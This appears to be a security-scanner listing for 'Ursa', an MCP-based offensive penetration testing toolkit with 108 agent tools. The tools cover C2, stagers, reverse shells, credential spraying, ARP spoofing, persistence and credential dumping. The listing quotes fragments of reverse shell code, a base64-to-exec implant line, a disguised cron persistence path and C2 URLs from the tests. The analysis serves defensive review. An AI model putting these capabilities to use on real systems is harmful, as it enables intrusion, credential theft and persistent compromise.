github Python analyzed d5e838f

Bare-Systems/Ursa

github

An AI first penetration testing toolkit ✨

maintainer: Bare-Systems
license: Apache-2.0
first seen: 2026-06-18
last seen: 2026-06-30
releases · 30d: 0
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 108 tools

transport stdio · streamable-http · http counts 108 tools · 0 res · 0 prompts permission surface via code analysis

tools

api_scan
arp_spoof
arp_spoof_stop
baseline_diff
check_scope
close_engagement
crack_hash
create_baseline
create_engagement
credential_spray
detect_persistence
diff_scan_results
dirbust
discover_network
enumerate_subdomains
export_engagement_report
export_scan_result
full_recon
generate_reverse_shell
get_engagement
get_my_network_info
get_scan_result
identify_hash
list_scan_results
lookup_service
os_fingerprint
probe_http
scan_ports
smb_enum
sniff_packets
snmp_scan
tls_scan
triage_host
ursa_apply_policy_remediation
ursa_approvals
ursa_approve
ursa_approve_campaign
ursa_asset_graph
ursa_audit_integrity
ursa_auto_recon_disable
ursa_auto_recon_enable
ursa_auto_recon_status
ursa_c2_status
ursa_campaign_add_checklist_item
ursa_campaign_add_note
ursa_campaign_alerts
ursa_campaign_apply_playbook
ursa_campaign_bulk_update_checklist
ursa_campaign_checklist
ursa_campaign_checklist_alerts
ursa_campaign_checklist_from_alerts
ursa_campaign_checklist_history
ursa_campaign_delete_checklist_item
ursa_campaign_delete_note
ursa_campaign_delete_playbook
ursa_campaign_handoff
ursa_campaign_handoff_report
ursa_campaign_info
ursa_campaign_notes
ursa_campaign_playbooks
ursa_campaign_policies
ursa_campaign_report
ursa_campaign_save_playbook
ursa_campaign_snapshot_playbook
ursa_campaign_timeline
ursa_campaign_update_checklist_item
ursa_campaigns
ursa_delete_campaign_policy
ursa_dns_talkers
ursa_download
ursa_events
ursa_files
ursa_generate
ursa_governance_report
ursa_governance_summary
ursa_install_persistence
ursa_kill_session
ursa_network_inventory
ursa_policy_matrix
ursa_policy_remediation_plan
ursa_post_dispatch
ursa_post_list
ursa_post_run
ursa_preview_policy_remediation
ursa_reject
ursa_reject_campaign
ursa_results_export
ursa_results_get
ursa_results_list
ursa_results_report
ursa_run_checks
ursa_session_info
ursa_session_recon
ursa_sessions
ursa_set_campaign_policy
ursa_set_session_context
ursa_shell
ursa_sitrep
ursa_stager
ursa_start_c2
ursa_stop_c2
ursa_task
ursa_task_result
ursa_tasks
ursa_tool_policies
ursa_traffic_profiles
ursa_upload
vuln_scan

skills & danger signals github-tarball

prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit d5e838f · analyzer v33 · 4d ago

skills & prompt files 1

skill Bare-Systems-Ursa-d5e838f/skills/SKILL.md

danger signals7

dynamic code execution eval()/exec() Bare-Systems-Ursa-d5e838f/implants/beacon.py :675 exec(compile(code, "<post-module>", "exec"), ns) # noqa: S102
dynamic code execution eval()/exec() Bare-Systems-Ursa-d5e838f/tests/test_builder.py :464 exec(stub, ns)
dynamic code execution __import__ sink Bare-Systems-Ursa-d5e838f/tests/test_builder.py :700 env = {**__import__("os").environ, "GOOS": "linux", "GOARCH": "amd64"}
dynamic code execution eval()/exec() Bare-Systems-Ursa-d5e838f/tests/test_phase6.py :510 exec(compile(src, "<test>", "exec"), ns)
suspicious endpoint 1.2.3.4 Bare-Systems-Ursa-d5e838f/tests/test_builder.py :62 cfg = PayloadConfig(c2_url="http://1.2.3.4:6708")
suspicious endpoint 5.6.7.8 Bare-Systems-Ursa-d5e838f/tests/test_builder.py :1020 main(["build", "--c2", "http://5.6.7.8:6708", "--template", "basic",
suspicious endpoint 9.9.9.9 Bare-Systems-Ursa-d5e838f/tests/test_builder.py :1070 main(["stager", "--c2", "http://9.9.9.9:6708"])

code evidence vHEAD · github-tarball

evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 122

filesystem 36

fs Bare-Systems-Ursa-d5e838f/implants/beacon.py :112 with open("/proc/uptime") as f:
fs Bare-Systems-Ursa-d5e838f/implants/builder.py :77 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/implants/evasion.py :106 with open("/proc/meminfo") as f:
fs Bare-Systems-Ursa-d5e838f/implants/stager.py :57 os.unlink(__file__)
fs Bare-Systems-Ursa-d5e838f/major/cert.py :40 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/major/config.py :23 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/major/db.py :14 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/major/server.py :253 from pathlib import Path as _Path
fs Bare-Systems-Ursa-d5e838f/major/web/app.py :9 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/minor/arpspoof.py :114 with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
fs Bare-Systems-Ursa-d5e838f/minor/credspray.py :405 with open(args.userlist) as f:
fs Bare-Systems-Ursa-d5e838f/minor/dirbust.py :301 with open(args.wordlist) as f:
fs Bare-Systems-Ursa-d5e838f/minor/hashcrack.py :266 with open(args.wordlist) as f:
fs Bare-Systems-Ursa-d5e838f/minor/revshell.py :91 f"{{open(STDIN,\">&S\");open(STDOUT,\">&S\");"
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/assetgraph.py :31 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/checkengine.py :155 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/defense.py :9 import shutil
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/engagement.py :29 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/policy.py :15 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/probe.py :189 resp = opener.open(req, timeout=timeout)
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/results.py :16 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :1025 from pathlib import Path as _Path
fs Bare-Systems-Ursa-d5e838f/minor/subenum.py :336 with open(args.wordlist) as f:
fs Bare-Systems-Ursa-d5e838f/minor/vulnscan.py :439 response = opener.open(req, timeout=timeout)
fs Bare-Systems-Ursa-d5e838f/post/cred/browser.py :21 import shutil, tempfile
fs Bare-Systems-Ursa-d5e838f/post/cred/keychain.py :89 handle = iface.open("kdewallet", 0, "myapp")
fs Bare-Systems-Ursa-d5e838f/post/cred/memory.py :35 dump_file = open("C:\\\\Windows\\\\Temp\\\\lsass.dmp", "wb")
fs Bare-Systems-Ursa-d5e838f/post/enum/network.py :126 with open("/etc/hosts") as f:
fs Bare-Systems-Ursa-d5e838f/post/lateral/ssh.py :187 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/post/persist/cron.py :46 with open("/etc/cron.d/system-update", "w") as f:
fs Bare-Systems-Ursa-d5e838f/post/persist/launchagent.py :54 with open(plist_path, "wb") as f:
fs (weak) Bare-Systems-Ursa-d5e838f/scripts/check_default_secrets.py :8 from pathlib import Path
fs Bare-Systems-Ursa-d5e838f/server.py :79 from pathlib import Path
fs (weak) Bare-Systems-Ursa-d5e838f/tests/conftest.py :7 from pathlib import Path
fs (weak) Bare-Systems-Ursa-d5e838f/tests/major/test_config.py :1 from pathlib import Path
fs (weak) Bare-Systems-Ursa-d5e838f/tests/test_builder.py :4 from pathlib import Path

shell / exec 25

shell Bare-Systems-Ursa-d5e838f/implants/beacon.py :38 import subprocess
shell Bare-Systems-Ursa-d5e838f/implants/builder.py :75 import subprocess
shell Bare-Systems-Ursa-d5e838f/implants/evasion.py :34 import subprocess
shell Bare-Systems-Ursa-d5e838f/implants/stager.py :24 import subprocess
shell Bare-Systems-Ursa-d5e838f/minor/arpspoof.py :57 import subprocess
shell Bare-Systems-Ursa-d5e838f/minor/revshell.py :68 f"subprocess.call([\"/bin/sh\",\"-i\"])'"
shell Bare-Systems-Ursa-d5e838f/minor/smbenum.py :217 import subprocess
shell Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/defense.py :10 import subprocess
shell Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :770 import subprocess
shell Bare-Systems-Ursa-d5e838f/minor/subenum.py :203 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/cred/browser.py :54 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/cred/keychain.py :17 subprocess.run(["security", "dump-keychain", "-d", "login.keychain"],
shell Bare-Systems-Ursa-d5e838f/post/cred/memory.py :18 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/enum/network.py :14 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/enum/privesc.py :29 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/enum/sysinfo.py :15 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/enum/users.py :14 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/lateral/wmi.py :30 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/persist/cron.py :13 import subprocess
shell Bare-Systems-Ursa-d5e838f/post/persist/launchagent.py :59 subprocess.run(["launchctl", "load", plist_path], capture_output=True)
shell Bare-Systems-Ursa-d5e838f/post/persist/registry.py :29 import subprocess
shell (weak) Bare-Systems-Ursa-d5e838f/scripts/check_default_secrets.py :6 import subprocess
shell Bare-Systems-Ursa-d5e838f/server.py :75 import subprocess
shell (weak) Bare-Systems-Ursa-d5e838f/tests/test_builder.py :3 import subprocess
shell (weak) Bare-Systems-Ursa-d5e838f/tests/test_evasion.py :364 import subprocess as sp

network 43

net Bare-Systems-Ursa-d5e838f/implants/beacon.py :36 import socket
net Bare-Systems-Ursa-d5e838f/implants/builder.py :74 import socket
net Bare-Systems-Ursa-d5e838f/implants/evasion.py :33 import socket
net Bare-Systems-Ursa-d5e838f/implants/stager.py :22 import urllib.request
net Bare-Systems-Ursa-d5e838f/implants/templates/http_python.py :92 import json, urllib.request
net Bare-Systems-Ursa-d5e838f/major/cert.py :37 import socket
net Bare-Systems-Ursa-d5e838f/major/listeners/dns.py :144 import socket
net Bare-Systems-Ursa-d5e838f/major/redirector.py :67 import urllib.error
net Bare-Systems-Ursa-d5e838f/major/server.py :36 from urllib.parse import urlparse
net Bare-Systems-Ursa-d5e838f/major/web/routes/auth.py :3 from urllib.parse import unquote
net Bare-Systems-Ursa-d5e838f/major/web/routes/campaigns.py :6 from urllib.parse import urlencode
net Bare-Systems-Ursa-d5e838f/major/web/routes/events.py :3 from urllib.parse import urlencode
net Bare-Systems-Ursa-d5e838f/major/web/routes/governance.py :7 from urllib.parse import urlencode
net Bare-Systems-Ursa-d5e838f/major/web/routes/tasks.py :3 from urllib.parse import urlencode
net Bare-Systems-Ursa-d5e838f/minor/credspray.py :40 import socket
net Bare-Systems-Ursa-d5e838f/minor/dirbust.py :40 import urllib.request
net Bare-Systems-Ursa-d5e838f/minor/discover.py :31 import socket
net Bare-Systems-Ursa-d5e838f/minor/osfinger.py :44 import socket
net Bare-Systems-Ursa-d5e838f/minor/portscan.py :36 import socket
net Bare-Systems-Ursa-d5e838f/minor/revshell.py :31 python: python3 -c 'import socket,os,pty; ...'
net Bare-Systems-Ursa-d5e838f/minor/smbenum.py :34 import socket
net Bare-Systems-Ursa-d5e838f/minor/snmpscan.py :41 import socket
net Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/assetgraph.py :29 import urllib.parse
net Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/checkengine.py :25 import urllib.error
net Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/engagement.py :167 import urllib.parse
net Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/netcollect.py :35 import urllib.error
net Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/policy.py :12 import urllib.parse
net Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/probe.py :22 import socket
net Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :46 import socket
net Bare-Systems-Ursa-d5e838f/minor/subenum.py :43 import socket
net Bare-Systems-Ursa-d5e838f/minor/vulnscan.py :40 import urllib.request
net Bare-Systems-Ursa-d5e838f/post/cred/loot.py :342 import socket as _socket # noqa: PLC0415
net Bare-Systems-Ursa-d5e838f/post/cred/memory.py :89 s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
net Bare-Systems-Ursa-d5e838f/post/enum/network.py :13 import socket
net Bare-Systems-Ursa-d5e838f/post/enum/sysinfo.py :14 import socket
net Bare-Systems-Ursa-d5e838f/post/lateral/ssh.py :30 import socket, threading
net Bare-Systems-Ursa-d5e838f/server.py :2322 import socket as _s
net (weak) Bare-Systems-Ursa-d5e838f/tests/major/test_server.py :5 import urllib.error
net (weak) Bare-Systems-Ursa-d5e838f/tests/minor/test_checkengine.py :144 import urllib.error
net (weak) Bare-Systems-Ursa-d5e838f/tests/minor/test_network_tools.py :15 with patch("ursa_minor.server.socket.socket") as mock_sock:
net (weak) Bare-Systems-Ursa-d5e838f/tests/minor/test_ssl_fallback.py :22 import urllib.error
net (weak) Bare-Systems-Ursa-d5e838f/tests/test_builder.py :841 with patch("implants.builder.socket.socket") as mock_cls:
net (weak) Bare-Systems-Ursa-d5e838f/tests/test_ursa.py :16 import urllib.error

secrets 3

secrets Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/netcollect.py :142 token = os.environ.get("URSA_API_TOKEN") or ""
secrets Bare-Systems-Ursa-d5e838f/post/cred/keychain.py :46 import keyring
secrets Bare-Systems-Ursa-d5e838f/post/persist/cron.py :149 import getpass

database 4

db Bare-Systems-Ursa-d5e838f/major/db.py :11 import sqlite3
db Bare-Systems-Ursa-d5e838f/major/pihole.py :29 import sqlite3
db Bare-Systems-Ursa-d5e838f/post/cred/browser.py :25 import sqlite3
db (weak) Bare-Systems-Ursa-d5e838f/tests/major/test_pihole.py :7 import sqlite3

tool registrations 108

discover_network Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :277
scan_ports Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :337
sniff_packets Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :450
full_recon Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :601
lookup_service Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :733
get_my_network_info Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :752
enumerate_subdomains Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :790
dirbust Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :924
crack_hash Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :1290
identify_hash Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :1398
generate_reverse_shell Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :1436
credential_spray Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :1527
vuln_scan Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :1687
os_fingerprint Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :1935
smb_enum Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2055
snmp_scan Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2188
detect_persistence Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2381
create_baseline Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2403
baseline_diff Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2436
triage_host Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2465
list_scan_results Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2506
get_scan_result Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2543
export_scan_result Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2573
export_engagement_report Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2597
diff_scan_results Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2618
arp_spoof Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2721
arp_spoof_stop Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2908
probe_http Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2941
tls_scan Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :2985
create_engagement Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3171
check_scope Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3226
get_engagement Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3251
close_engagement Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3285
ursa_tool_policies Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3303
ursa_asset_graph Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3333
ursa_run_checks Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3388
api_scan Bare-Systems-Ursa-d5e838f/minor/src/ursa_minor/server.py :3443
ursa_start_c2 Bare-Systems-Ursa-d5e838f/server.py :179
ursa_stop_c2 Bare-Systems-Ursa-d5e838f/server.py :244
ursa_c2_status Bare-Systems-Ursa-d5e838f/server.py :263
ursa_sessions Bare-Systems-Ursa-d5e838f/server.py :304
ursa_network_inventory Bare-Systems-Ursa-d5e838f/server.py :341
ursa_dns_talkers Bare-Systems-Ursa-d5e838f/server.py :381
ursa_set_session_context Bare-Systems-Ursa-d5e838f/server.py :429
ursa_session_info Bare-Systems-Ursa-d5e838f/server.py :450
ursa_kill_session Bare-Systems-Ursa-d5e838f/server.py :498
ursa_shell Bare-Systems-Ursa-d5e838f/server.py :534
ursa_task Bare-Systems-Ursa-d5e838f/server.py :573
ursa_task_result Bare-Systems-Ursa-d5e838f/server.py :617
ursa_tasks Bare-Systems-Ursa-d5e838f/server.py :654
ursa_download Bare-Systems-Ursa-d5e838f/server.py :700
ursa_upload Bare-Systems-Ursa-d5e838f/server.py :735
ursa_files Bare-Systems-Ursa-d5e838f/server.py :774
ursa_events Bare-Systems-Ursa-d5e838f/server.py :804
ursa_campaigns Bare-Systems-Ursa-d5e838f/server.py :835
ursa_campaign_report Bare-Systems-Ursa-d5e838f/server.py :870
ursa_campaign_info Bare-Systems-Ursa-d5e838f/server.py :936
ursa_campaign_timeline Bare-Systems-Ursa-d5e838f/server.py :1036
ursa_campaign_add_note Bare-Systems-Ursa-d5e838f/server.py :1063
ursa_campaign_notes Bare-Systems-Ursa-d5e838f/server.py :1076
ursa_campaign_playbooks Bare-Systems-Ursa-d5e838f/server.py :1091
ursa_campaign_save_playbook Bare-Systems-Ursa-d5e838f/server.py :1106
ursa_campaign_delete_playbook Bare-Systems-Ursa-d5e838f/server.py :1128
ursa_campaign_apply_playbook Bare-Systems-Ursa-d5e838f/server.py :1138
ursa_campaign_snapshot_playbook Bare-Systems-Ursa-d5e838f/server.py :1178
ursa_campaign_checklist Bare-Systems-Ursa-d5e838f/server.py :1210
ursa_campaign_checklist_history Bare-Systems-Ursa-d5e838f/server.py :1251
ursa_campaign_add_checklist_item Bare-Systems-Ursa-d5e838f/server.py :1280
ursa_campaign_update_checklist_item Bare-Systems-Ursa-d5e838f/server.py :1313
ursa_campaign_delete_checklist_item Bare-Systems-Ursa-d5e838f/server.py :1346
ursa_campaign_bulk_update_checklist Bare-Systems-Ursa-d5e838f/server.py :1353
ursa_campaign_checklist_alerts Bare-Systems-Ursa-d5e838f/server.py :1399
ursa_campaign_checklist_from_alerts Bare-Systems-Ursa-d5e838f/server.py :1451
ursa_campaign_handoff Bare-Systems-Ursa-d5e838f/server.py :1503
ursa_campaign_handoff_report Bare-Systems-Ursa-d5e838f/server.py :1515
ursa_campaign_delete_note Bare-Systems-Ursa-d5e838f/server.py :1688
ursa_policy_matrix Bare-Systems-Ursa-d5e838f/server.py :1701
ursa_governance_summary Bare-Systems-Ursa-d5e838f/server.py :1707
ursa_set_campaign_policy Bare-Systems-Ursa-d5e838f/server.py :1758
ursa_campaign_policies Bare-Systems-Ursa-d5e838f/server.py :1799
ursa_delete_campaign_policy Bare-Systems-Ursa-d5e838f/server.py :1818
ursa_campaign_alerts Bare-Systems-Ursa-d5e838f/server.py :1828
ursa_policy_remediation_plan Bare-Systems-Ursa-d5e838f/server.py :1851
ursa_apply_policy_remediation Bare-Systems-Ursa-d5e838f/server.py :1878
ursa_preview_policy_remediation Bare-Systems-Ursa-d5e838f/server.py :1924
ursa_governance_report Bare-Systems-Ursa-d5e838f/server.py :1956
ursa_approvals Bare-Systems-Ursa-d5e838f/server.py :2032
ursa_approve Bare-Systems-Ursa-d5e838f/server.py :2073
ursa_reject Bare-Systems-Ursa-d5e838f/server.py :2099
ursa_approve_campaign Bare-Systems-Ursa-d5e838f/server.py :2123
ursa_reject_campaign Bare-Systems-Ursa-d5e838f/server.py :2157
ursa_audit_integrity Bare-Systems-Ursa-d5e838f/server.py :2191
ursa_generate Bare-Systems-Ursa-d5e838f/server.py :2220
ursa_stager Bare-Systems-Ursa-d5e838f/server.py :2311
ursa_post_list Bare-Systems-Ursa-d5e838f/server.py :2357
ursa_post_run Bare-Systems-Ursa-d5e838f/server.py :2390
ursa_post_dispatch Bare-Systems-Ursa-d5e838f/server.py :2460
ursa_auto_recon_status Bare-Systems-Ursa-d5e838f/server.py :2522
ursa_auto_recon_enable Bare-Systems-Ursa-d5e838f/server.py :2557
ursa_auto_recon_disable Bare-Systems-Ursa-d5e838f/server.py :2589
ursa_session_recon Bare-Systems-Ursa-d5e838f/server.py :2639
ursa_sitrep Bare-Systems-Ursa-d5e838f/server.py :2743
ursa_install_persistence Bare-Systems-Ursa-d5e838f/server.py :2990
ursa_traffic_profiles Bare-Systems-Ursa-d5e838f/server.py :3193
ursa_results_list Bare-Systems-Ursa-d5e838f/server.py :3249
ursa_results_get Bare-Systems-Ursa-d5e838f/server.py :3318
ursa_results_export Bare-Systems-Ursa-d5e838f/server.py :3352
ursa_results_report Bare-Systems-Ursa-d5e838f/server.py :3393

declared dependencies 16

mcp@>=1.0.0
scapy@>=2.5.0
paramiko@>=3.0.0
click@>=8.0.0
cryptography@>=42.0.0
fastapi@>=0.115.0
itsdangerous@>=2.2.0
jinja2@>=3.1.0
python-multipart@>=0.0.9
uvicorn@>=0.30.0
sse-starlette@>=2.0.0
pyyaml@>=6.0
pytest@>=8.0
pytest-cov@>=5.0
mypy@>=1.11
ruff@>=0.6

obfuscation 1

base64 decode → exec sink Bare-Systems-Ursa-d5e838f/implants/beacon.py :673 code = base64.b64decode(code_b64).decode("utf-8")

transport_posture 1

network-listening, binds all interfaces, no auth detected Bare-Systems-Ursa-d5e838f/tests/test_phase6.py :381 listener = DNSTunnelListener(host="0.0.0.0", port=53, domain="c2.example.com")